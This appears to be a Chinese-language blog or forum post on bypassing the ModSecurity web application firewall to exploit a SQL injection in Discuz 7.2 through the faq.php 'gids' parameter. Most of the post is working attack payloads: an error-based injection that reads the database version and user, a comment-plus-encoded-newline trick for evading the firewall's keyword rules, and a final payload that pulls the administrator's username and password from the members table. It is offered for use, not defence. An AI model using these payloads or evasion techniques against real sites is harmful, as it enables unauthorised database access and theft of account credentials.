Modsecutiry绕过-回车、换行、注释、编码-注入discuz7.2

站点,表示人品不给力,简单绕过思路如下
获取数据库版本:
  1. faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema
  2. .tables group by x)a)%23


想继续射只能绕过了。大家都知道Modsecurity是开源waf,可以本地装个研究下规则库。常规的绕过思路肯定都是不行的,空格、加号、大 小写、/**/、sele/**/ct、各种编码等。Modsecutiry规则通常还是过滤关键字,或者过滤组合关键字,如下图:
and (select 1 from (select

and+(select/**/1+from+(select cOUnt

通过不断尝试,这里主要过滤select count以及select concat关键字组合。
这里可以采用回车换行+注释,再经过url编码绕过思路。
  1. Select#foo*/*bar
  2. count()
  3. 编码过:
  4. select%23foo*%2F*bar%0D%0Acount()  //回车换行url编码%0D%0A
替换后的payload
  1. and (select 1/*ddd*/from/*da*/(select%23foo*%2F*bar%0D%0Acount(*),/**/concat%23foo*%2F*bar%0D%0A%28/**/user(),/**/floor(rand(0)*2))x from/**/information_schema.tables group by x)a)%23

获取管理员密码:
  1. and (select 1 from (select%23foo*%2F*bar%0D%0Acount(*),concat%23foo*%2F*bar%0D%0A((select/**/(select(select%23foo*%2F*bar%0D%0Aconcat%23foo*%2F*bar%0D%0A%28username,0x27,password) from cdb_members limit 1) ) from %23foo*%2F*bar%0D%0A`information_schema`.tables limit 0,1),floor(rand(0)*2))x from %23foo*%2F*bar%0D%0Ainformation_schema.tables group by x)a)%23
其他可以自行构造了。